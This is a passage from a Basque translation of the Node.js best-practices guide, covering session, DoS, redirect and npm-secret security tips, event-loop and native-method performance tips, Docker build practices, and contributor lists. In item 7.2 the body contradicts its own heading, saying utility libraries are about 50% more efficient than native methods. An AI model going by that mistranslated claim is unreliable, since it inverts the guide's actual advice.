jendaurrean argitarauta badago. npm-n autentifikazioa 2 faktore bidez egin beharra ezartzeak ia zero aukera uzten die erasotzaileei zure pakete kodea aldatzeko\n\n**Bestela:** [ba al duzu pasahitza bahitu zuten eslint garatzailearen berri?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Aldatu saioko middlewarearen ezarpenak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** web esparru eta teknologia bakoitzak bere ahulguneak ditu: erasotzaileei esatea zein web esparru erabiltzen dugun laguntza handia da haientzat. Saioaren middlewareen ezarpen lehenetsiak erabiltzeak eragin dezake zure moduluko eta esparruko berariazko bahiketa erasoak izatea zure aplikazioak, `X-Powered-By` izenburukoaren antzekoak. Saiatu ezkutatzen zure pila teknologkoa identifikatzen eta agerian uzten duen edozein gauza (adibidez, Node.js, express)\n\n**Bestela:** cookieak segurtasunik gabeko konexioen bidez bidal litezke, eta erasotzaile batek saioaren identifikazioa erabil lezake web aplikazioaren barruko esparrua eta moduluen berariazko ahultasunak ere identifikatzeko\n\n🔗 [**Informazio gehiago: cookieak eta saioaren segurtasuna**](./sections/security/sessions.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Saihestu DOS erasoak prozesuak noiz huts egin behar duen berariaz ezarriz\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** Node prozesuak huts egingo du akatsak kudeatzen ez direnean. Praktika onetako askok irtetea gomendatzen dute, akats bat atzeman eta kudeatuta badago ere. Expressek, adibidez, huts egiten du errore asinkronoren bat izanez gero –blokeatze klausula batekin ibilbideak biltzen ez badituzu behintzat. Horrek oso eraso bide aproposa irekitzen die erasotzaileei, zer informaziok eragiten duen prozesuaren blokeoa jakinda, behin eta berriz eskaera bera bidaltzen baitute prozesua blokeatzea lortu arte. Horretarako ez dago berehalako erremediorik, baina teknika batzuek mina arindu dezakete: abisatu zorroztasun kritikoarekin, kontrolatu gabeko errore baten ondorioz prozesuak huts egiten duen bakoitzean, balioztatu sarrera eta saihestu prozesua blokeatuta gelditzea erabiltzailearen sarrera baliogabea delako, bildu ibilbide guztiak cacth batekin eta kontuan hartu prozesuak ez duela huts egin behar eskaera batean errore bat sortzen denean (oro har, gertatzen denaren kontra)\n\n**Bestela:** hau uste oneko suposizio soil bat besterik ez da. Node.js aplikazio asko edukiz gero, JSON gorputz huts bat POST eskaera guztietara pasatzen saiatzen bagara, zenbait aplikazio blokeatu egingo dira. Une horretan, eskaera bera berbidal dezakegu, aplikazioak erraz ezabatzeko\n\n<br/><br/>\n\n## ![✔] 6.24. Saihestu birbideratze ez seguruak\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** erabiltzaileen sarrerak balioztatzen ez dituzten birbideratzeek ahalbidetzen dute erasotzaileek phishing iruzurrak abiatzea, erabiltzaileen egiaztagiriak lapurtzea eta beste ekintza kaltegarri batzuk burutzea\n\n**Bestela:** erasotzailea ohartzen bada erabiltzaileek emandako kanpo sarrerarik ez dela balioztatzen, ahultasun hori balia dezake foroetan, sare sozialetan eta beste toki publiko batzuetan hartarako bereziki sortutako estekak argitaratzean, erabiltzaileek bertan klik egin dezaten\n\n🔗 [**Informazio gehiago: saihestu birbideratze ez seguruak**](./sections/security/saferedirects.basque.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Saihestu sekretuak npm erregistroan argitaratzea\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL:** neurriak hartu behar dira npm erregistro publikoetan sekretuak nahi gabe argitaratzeko arriskua ekiditeko. Erabil daiteke `.npmignore` fitxategi bat karpeta edo fitxategi espezikoak zerrenda beltz batean jartzeko eta `files` matrizea `package.json` artxiboarekin erabil daiteke zerrenda zuri moduan lan egin dezan\n\n**Bestela:** arriskua dago norbaitek zure proiektuaren API giltzak, pasahitzak edo beste sekretu batzuk aurkitu eta erasoak egiten saiatzeko, eta horrek galera ekonomikoak, nortasun arazoak eta bestelako arriskuak sor ditzake\n\n🔗 [**Informazio gehiago: saihestu sekretuak argitaratzea**](./sections/security/avoid_publishing_secrets.basque.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `7. Zirriborroa: errendimendua`\n\n## Gure laguntzaileak lanean ari dira atal honetan. [Parte hartu nahi zenuke?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. Ez blokeatu gertaeren begizta\n\n**TL;PL:** saihestu PUZen zeregin intentsiboak, gertaeren begizta blokeatuko baitute. Izan ere, gertaera horietako gehienak azpiprozesu bakarrekoak dira, eta deskargatuak izango baitira azpiprozesu dedikatu batean, prozesu batean edo teknologia desberdinetan, dauden testuinguruaren arabera\n\n**Bestela:** gertaeren begizta blokeatuta dagoenez, Node.jsk ezin izango du beste eskaera bat kudeatu eta, ondorioz, atzerapena eragin diezaieke erabiltzaileei. **3000 erabiltzaile erantzunaren zain daude, edukia zerbitzatzeko prest dago, baina eskaera bakar batek emaitzak berriro bidaltzea galarazten dio zerbitzariari**\n\n🔗 [**Informazio gehiago: ez blokeatu gertaeraren begizta**](./sections/performance/block-loop.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Hobetsi jatorrizko JS metodoak Lodash bezalako erabiltzaileen baliabideak baino\n\n**TL;PL:** askotan zorrotzagoa da `lodash` eta `underscore` bezalako baliabide liburutegiak erabiltzea jatorrizko metodoak baino, beharrezkoak ez diren menpekotasunak eragin eta abiadura moteltzen baitu. Gogoan izan, V8 motor berria ES estandar berriekin batera, bertako metodoak hobetu egin zirela, eta gaur egun baliabide liburutegiak % 50 inguru eraginkorragoak direla liburutegi publikoak baino\n\n**Bestela:** errendimendu txikiagoko proiektuak mantendu beharko zenituzke, non **dagoeneko** eskura zenuena erabili beharko baitzenuke edo, fitxategi batzu gehiagoren truke, beste zenbait lerro landu\n\n🔗 [**Informazio gehiago: erabiltzaileen jatorrizko baliabideak**](./sections/performance/nativeoverutil.basque.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `8. Docker, praktika onak`\n\n🏅 Mila esker [Bret Fisher](https://github.com/BretFisher)-i, ondorengo praktika hauetako asko ikasi baikenituen berarengandik\n\n<br/><br/>\n\n## ![✔] 8.1 Erabili etapa anitzeko konpilazioak Docker irudi sinpleagoak eta seguruagoak lortzeko\n\n**TL;PL:** erabili etapa anitzeko konpilazioak beharrezko produkzio objektuak soilik kopiatzeko. Konpilazio menpekotasun eta fitxategi asko ez dira beharrezkoak zure aplikazioa exekutatzeko. Etapa anitzeko konpilazioak erabiliz gero, baliabide horiek konpilazioan zehar erabil daitezke, denboraren exekuzio inguruneak beharrezko baliabideak besterik ez duen bitartean. Etapa anitzeko konpilazioak oso modu erraza dira gehiegizko pisua kendu eta segurtasun mehatxuak saihesteko\n\n**Bestela:** irudi handiagoek denbora gehiago beharko dute konpilatzeko eta zabaltzeko. Eraikitzeko soilik diren tresnek ahultasunak eduki ditzakete eta eraikitze faserako soilik gordetako sekretuak filtratu daitezke\n\n### Etapa anitzeko eraikuntzetarako Dockerfile fitxategiaren adibidea\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY . .\nRUN npm ci && npm run build\n\n\nFROM node:slim-14.4.0\n\nUSER node\nEXPOSE 8080\n\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\nRUN npm ci --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n🔗 [**Informazio gehiago: erabili etapa anitzeko konpilazioak**](./sections/docker/multi_stage_builds.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.2. Abiarazi edukiontzia node komandoa erabiliz, saihestu npm\n\n**TL;PL:** erabili `CMD ['node','server.js']` aplikazioa abiarazteko, saihestu OS seinaleak kodera pasatzen ez dituzten npm scriptak erabiltzea. Horrek arazoak izatea ekiditen du bigarren mailako prozesuetan, seinaleak kudeatzean, itxiera seguruetan eta prozesu zonbietan\n\n**Bestela:** seinalerik pasatzen ez denean, zure kodeak ez du inoiz izango itzalaldien berri, eta, hori gabe, ez da behar bezala itxiko, unean uneko eskaerak eta / edo datuak galduz\n\n[**Informazio gehiago: abiarazi edukiontzia 'node' komandoa erabiliz, saihestu npm abiatzea**](./sections/docker/bootstrap-using-node.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.3. Utzi Dockeren egikaritze denborari erreplikatu eta jardueraren iraupena kudeatzen\n\n**TL;PL:** Dockerren exekuzio denboraren orkestratzailea erabiltzen duzunean (adibidez, Kubernetes), deitu Node.js prozesua zuzenean, prozesua errepikatzen duten bitarteko prozesuen kudeatzailerik edo koderik pertsonalizatu gabe (adibidez, PM2, Cluster modulua). Exekuzio denboraren plataformak datu kopuru eta ikusgarritasun handiena dauzka kokapenari buruzko erabakiak hartzeko: badaki zenbat prozesu behar diren, nola antolatu prozesuok eta zer egin huts eginez gero\n\n**Bestela:** edukiontziak huts egiten jarraituko du baliabide faltagatik, eta prozesuen kudeatzaileak behin eta berriro berrabiaraziko du, gelditu gabe. Kubernetes horretaz jabetuko balitz, beste toki zabal batera lekualda lezake\n\n🔗 [**Informazio gehiago: utzi Dockeren exekuzio denborari erreplikatu eta jardueraren iraupena kudeatzen**](./sections/docker/restart-and-replicate-processes.basque.md)\n\n<br/><br /><br />\n\n## ![✔] 8.4. Erabili .dockerignore sekretuak filtratzea ekiditeko\n\n**TL;DR**: erabili `.dockerignore` fitxategia, fitxategi sekretu arruntak eta garapeneko objektuak iragazten ditu eta. Horrela, sekretuak irudira ez sartzea lor dezakezu. Eta onura gehigarri bat izango duzu: eraikitzeko denbora nabarmen murriztuko da. Gainera, ziurtatu fitxategi guztiak ez direla behin eta berriro kopiatzen eta berariaz aukeratu zer kopiatu behar den Dockerren\n\n**Bestela**: irudira sarbidea duen edonorekin partekatuko dira `.env`, `.aws` eta `.npmrc` bezalako fitxategi sekretu pertsonal arruntak (adibidez, Docker biltegia)\n\n🔗 [**Informazio gehiago: erabili .dockerignore**](./sections/docker/docker-ignore.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.5. Garbitu menpekotasunak ekoizpenaren aurretik\n\n**TL;PL:** nahiz eta dev-menpekotasunak (dev-dependencies) batzuetan eraikuntza eta probako bizitza zikloan zehar beharrezkoak izan, azkenean ekoizpenera bidaltzen den irudiak ahalik eta txikiena izan behar du eta ez du garapeneko menpekotasunik eduki behar. Hori eginez gero, beharrezko kodea soilik bidaliko dela eta balizko erasoen kopurua (hau da, erasoaren azalera) minimizatuko dela bermatzen da, eta, hori lor daiteke menpekotasun guztiak lehenik instalatuz eta azkenean `npm ci --production` exekutatuz, beti ere etapa anitzeko eraikuntza erabiltzen denean (ikusi buleta dedikatua)\n\n**Bestela:** npm segurtasun arau hauste ezagun asko garapen paketeen barruan aurkitu izan dira (adibidez, [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes))\n\n🔗 Informazio gehiago: [ezabatu garapen menpekotasunak](./sections/docker/install-for-production.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.6. Itzali arazorik gabe eta dotore\n\n**TL;PL:** kudeatu prozesuaren SIGTERM gertaera eta garbitu lehendik dauden konexio eta baliabide guztiak. Hori etengabeko eskaerei erantzutean egin behar da. Dockerized exekutatzen den bitartean edukiontziak ixtea ez da arraroa, baizik eta ohiko lanaren zati gisa maiz gertatzen den zerbait. Hori lortzeko ondo pentsatutako kodea prestatu beharra dago hainbat elementu koordinatuz: karga orekatzailea, mantentze konexioak, HTTP zerbitzaria eta beste baliabide batzuk\n\n**Bestela:** berehala hiltzeak etsita dauden milaka erabiltzaileri ez erantzutea ekarriko du\n\n🔗 [**Informazio gehiago: itzalaldi dotorea**](./sections/docker/graceful-shutdown.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.7. Ezarri memoria mugak Docker eta v8 erabiliz\n\n**TL;PL:** konfiguratu beti memoria muga bai Docker bai JavaScript exekuzio adierazgailak erabiliz. Dockerren muga beharrezkoa da edukiontzien kokapena erabakitzeko; --v8ren bandera max-old-space beharrezkoa da GC garaiz abiarazteko eta memoria erabiltzea saihesteko. Praktikan, ezarri v8rren espazio memoria zaharra edukiontziaren muga baino apur bat txikiagoa izan dadin\n\n**Bestela:** Dockerren definizioa beharrezkoa da eskalatutako erabakiak burutzeko eta beste herritarrak gosez hiltzea ekiditeko. V8rren mugak zehaztu gabe ere, edukiontziaren baliabideak erabiliko ditu. Argibide espliziturik gabe, baliabideen %50-60a erabiltzean huts egiten du\n\n🔗 [**Informazio gehiago: ezarri memoria mugak Docker erabiliz soilik**](./sections/docker/memory-limit.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.8. Baliatu cachea konpilazio denbora murrizteko\n\n**TL;PL:** Dockerren irudi osoa cache-tik berreraikitzea ia berehalakoa izan daiteke, zuzen eginez gero. Eguneratu ez diren argibideek Dockerfile fitxategiaren goialdean egon behar dute, eta etengabe aldatzen ari direnek (aplikazioaren kodea, esate baterako) beheko aldean egon behar dute\n\n**Bestela:** Docker eraikitzeak oso luze jo dezake eta baliabide asko kontsumituko ditu, nahiz eta aldaketa txikiak egin\n\n🔗 [**Informazio gehiago: baliatu cachea konpilazio denborak murrizteko**](./sections/docker/use-cache-for-shorter-build-time.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.9. Erabili irudiaren erreferentzia esplizitua, saihestu \"azken\" (`latest`) etiketa\n\n**TL;PL:** zehaztu irudi laburpen esplizitu bat edo etiketa baten bertsioa, inoiz ez aipatu `latest`. Garatzaileek sarritan uste izaten dute, `latest` adieraziz gero, biltegiko azken irudia eskuratuko dutela, baina ez da horrela. Laburpena erabiltzeak zerbitzuaren instantzia guztiek kode bera exekutatuko dutela bermatzen du\n\nGainera, irudi etiketa bat aipatzen bada, oinarrizko irudia aldatu egin daiteke, ez baitago irudi etiketekin fidatzerik instalazio determinista bat egiteko orduan. Horren ordez, instalazioa determinista izanez gero, SHA256 laburpena erabil daiteke irudi zehatza erreferentziatzeko\n\n**Bestela:** oinarrizko irudi baten bertsio berri bat erabiliz gero, aldaketa handiak gerta litezke produkzioan, horrek aplikazioaren nahigabeko portaera sortuz\n\n🔗 [**Informazio gehiago: ulertu irudi etiketak eta erabili \"azken\" (`latest`) etiketa kontu handiz**](./sections/docker/image-tags.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.10. Hobetsi Docker oinarrizko irudi txikiagoak\n\n**TL;PL:** irudi handiek ahultasun gehiago izateko arriskua handitu eta baliabideen kontsumoa areagotzen dute. Docker irudi arinagoak erabiltzeak, Slim eta Alpine Linux aldaerak adibidez, arazo hori arindu egiten du\n\n**Bestela:** batetik, denbora gehiago beharko da irudiak eraiki, txertatu eta ateratzeko; bestetik, erabiltzaile maltzurrek eraso bektore ezezagunak erabil ditzakete; eta, azkenik, baliabide gehiago beharko dira\n\n🔗 [**Informazio gehiago: hobetsi irudi txikiagoak**](./sections/docker/smaller_base_images.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.11. Garbitu eraikitze faseko sekretuak, saihestu sekretuak argudioetan\n\n**TL;PL:** saihestu Dockerren konpilazio inguruneko sekretuak agerian geratzea. Docker irudi bat IE bezalako ingurune anitzetan eta ekoizpena bezain garbituta ez dauden erregistroetan partekatzen da normalean. Adibide tipikoa npm giltza (tokena) da, normalean dockerfile fitxategi batera pasatzen dena argumentu gisa. Giltza hori irudiaren barruan geratzen da denbora luzez beharrezkoa izateari utzi ondoren ere, eta erasotzaileari npm erregistro pribatura sartzeko aukera ematen dio. Hori ekidin daiteke sekretua `.npmrc` bezalako fitxategi batean kopiatuz, eta, ondoren, sekretu hori kenduz etapa anitzeko eraikuntza bat erabiliz (kontuz, eraikitze historia ere ezabatu beharko litzateke) edo bat ere aztarnarik uzten dituen Docker build-kit funtzio sekretua erabiliz\n\n**Bestela:** IE eta docker erregistroan sartzeko aukera duten guztiek erakundearen sekretu preziatuak ere eskuratzeko aukera izango dute onura gehigarri gisa\n\n🔗 [**Informazio gehiago: garbitu eraikitze faseko sekretuak**](./sections/docker/avoid-build-time-secrets.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.12. Eskaneatu ahultasun geruza anitzeko irudiak\n\n**TL;PL:** kode menpekotasunen ahultasunak egiaztatzeaz gain, eskaneatu ekoizpenera bidalitako azken irudia ere. Dockerren irudien eskanerrek kodeen menpekotasunak egiaztatzen dituzte, baina baita sistema eragilearen binarioak ere. E2E segurtasun eskaneatze horrek eremu handiago bat hartzen du eta egiaztatzen du inongo erabiltzaile maltzurrak ez duela maltzurkeriatik egin eraikitze aldian zerbait injektatuz. Ondorioz, hau exekutatzea gomendatzen da hedapenaren aurreko azken urrats gisa. Mordoska bat eskaner doako eta komertzial dago CI / CD pluginak ere eskaintzen dituztenak\n\n**Bestela:** baliteke zure kodeak ahultasunik ez izatea. Hala ere, baliteke oraindik ere hackeatua izatea, aplikazioek normalean erabiltzen dituzten sistema eragilearen mailako binarioen bertsioak ahultasunak dituelako (adibidez, OpenSSL, TarBall)\n\n🔗 [**Informazio gehiago: Docker praktika arruntak**](./sections/docker/scan-images.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.13 Garbitu NODE_MODULE cachea\n\n**TL;PL:** menpekotasunak edukiontzi batean instalatu ondoren, kendu bertako cachea. Ez du inolako zentzurik etorkizuneko instalazio azkarragoetarako menpekotasunak bikoizteak, ez baita beste instalaziorik egingo: Dockeren irudiak aldaezinak dira. Kode lerro bakarra erabiliz dozenaka MB aurrezten dira (normalean, irudiaren tamainaren % 10-50)\n\n**Bestela:** ekoizpenera bidaliko den irudiak % 30 gehiago pisatuko du, inoiz erabiliko ez diren fitxategiak direla eta\n\n🔗 [**Informazio gehiago: garbitu NODE_MODULE cachea**](./sections/docker/clean-cache.basque.md)\n\n<br /><br /><br />\n\n## ![✔] 8.14. Dockeren praktika generikoak\n\n**TL;PL:** hemen duzu Node.jsrekin zuzenean loturarik ez duen Docker aholkuen bilduma. Ez dago alderik Noderen eta beste edozein lengoaiaren inplementazioen artean. Egin klik “Informazio gehiago” botoian\n\n🔗 [**Informazio gehiago: Dockeren praktika generikoak**](./sections/docker/generic-tips.basque.md)\n\n<br/><br /><br />\n\n## ![✔] 8.15. Garbitu zure Dockerfile fitxategia Linterra erabiliz\n\n**TL;PL:** Linterra erabiliz zure Dockerfile fitxategia garbitzea urrats garrantzitsua da haren barruan praktika onak errespetatzen ez dituzten arazoak identifikatzeko. Docker garbitzaile (linter) espezializatu bat erabiliz errendimendu eta segurtasun hobekuntzak erraz atzematen dira, alferrikako ordu ugari aurreztea edo produkzio kodean segurtasun arazoak murriztea lortuz\n\n**Bestela:** okerrez, Dockerfile fitxategiaren sortzaileak nagusi (root) bat utzi zuen produkzio erabiltzaile moduan, eta jatorri ezezaguneko biltegi irudi bat ere erabili zuen. Hori liner soil batekin ekidin liteke.\n\n🔗 [**Informazio gehiago: garbitu zure Dockerfile fitxategia**](./sections/docker/lint-dockerfile.basque.md)\n\n<br/><br /><br />\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# Mugarriak\n\nGida hau mantentzeko eta eguneratuta egoteko, jarraibideak eta praktika onak eguneratzen eta hobetzen ari gara etengabe komunitatearen laguntzarekin. Proiektu honetan lagundu nahi baduzu, jarraitu gure [mugarriak](https://github.com/goldbergyoni/nodebestpractices/milestones) jarrai sartu lantaldeetan\n\n<br/>\n\n## Itzulpenak\n\nKomunitatearen ekarpena dira hemengo itzulpen guztiak eman. Oso pozik hartuko genituzke zure itzulpenak, bai dagoeneko eginda dauden testuenak zein egiten ari garen eta egingo ditugunenak\n\n### Amaitutako itzulpenak\n\n- ![BR](./assets/flags/BR.png) [Brasilgo portugalera](./README.brazilian-portuguese.md) - [Marcelo Melo](https://github.com/marcelosdm)-ren eskutik\n- ![CN](./assets/flags/CN.png) [Txinera](./README.chinese.md) - [Matt Jin](https://github.com/mattjin)-ren eskutik\n- ![RU](./assets/flags/RU.png) [Errusiera](./README.russian.md) - [Alex Ivanov](https://github.com/contributorpw)-ren eskutik\n- ![PL](./assets/flags/PL.png) [Poloniera](./README.polish.md) - [Michal Biesiada](https://github.com/mbiesiad)-ren eskutik\n- ![EU](./assets/flags/EU.png) [Euskara](README.basque.md) - [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuestaren eskutik\n\n### Aribidean dauden itzulpenak\n\n- ![FR](./assets/flags/FR.png) [Frantsesa](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Eztabaidan](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Hebrearra ([Eztabaidan](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Koreera](README.korean.md) - [Sangbeom Han](https://github.com/uronly14me)-ren eskutik ([Eztabaidan](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Gaztelera](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Eztabaidan](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turkiera ([Eztabaidan](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Zuzendaritza Batzordea\n\nEzagutu Zuzendaritza Batzordeko kideak, proiektuaren orientazioa eta etorkizunerako jarraibideak emateko elkarlanean dirautenak. Gainera, batzordeko kide bakoitza gure [Github projects](https://github.com/goldbergyoni/nodebestpractices/projects)-pean dagoen proiektu baten buru da\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nEEBB-etan, Europan eta Israelen, bezeroekin tamaina handiko Node.js aplikazioen sorkuntzan lan egiten duen Node.jsren inguruko aholkulari independentea. Gida honetako praktika on asko lehenengo aldiz [goldbergyoni.com](https://goldbergyoni.com)-en argitaratuak izan ziren. Jar zaitez Yoni-rekin kontatuan [@goldbergyoni](https://github.com/goldbergyoni)-en edo [me@goldbergyoni.com](mailto:me@goldbergyoni.com) helbidearen bidez\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 full-stack web ingeniaria, Node.js eta GraphQL zalea\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nFull Stack Garatzailea eta Zelanda Berrian lan egiten duen Site Reliability Ingeniaria, web aplikazioen segurtasutasunean eta egituraketan, eta tamaina handiko Node.js aplikazioen sorkuntzan interesa du\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kevyn.png\"/>\n\n[Kevyn Bruyere](https://github.com/kevynb)\n<a href=\"https://www.linkedin.com/in/kevynbruyere/\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nFull-stack garatzaile independentea, Ops eta automatizazioan zaletua dena\n\n<br/>\n\n### Steering Committee Emeriti\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nJavascripten eta bere ekosisteman (React, Node.js, TypeScript, GraphQL, MongoDB, eta sistemako JS/JSON edozein geruzatan eragin dezakeen edozer) aditua, munduko marka ezagunenetarako produktuak sortzen ditu web plataforma erabiliaz. Node.js Fundazioko Banakako Kidea\n\n<br/>\n\n## Languntzaileak\n\nMila esker gure laguntzaile guztiei! 🙏\n\nGure kolaboratzaileak proiektuan maiz parte hartzen duten kideak dira, praktika onak proposatuz, gaien zerrenda ordenatuz, parte hartze eskaerak (pull request) aztertuz... Milaka pertsona Node.js aplikazioak hobeto sortzen laguntzen interesa baduzu, irakur ezazu gure [kolaboratzaile gida](./.operations/CONTRIBUTING.md) 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: |\n|                                 [Ido Richter (Fundatzailea)](https://github.com/idori)                                  |                                        [Keith Holliday](https://github.com/TheHollidayInn)                                         |\n\n### Emeriti Kolaboratzailea\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## Parte hartu\n\nOpen sourcen parte hartu nahi baduzu, hemen duzu aukera! Gehiago jakiteko, irakurri [parte hartu dokumentua](.operations/CONTRIBUTING.md)\n\n## Parte hartzaileak ✨\n\nEskerrik asko proiektu honetan parte hartu duten pertsona zoragarriei!\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe 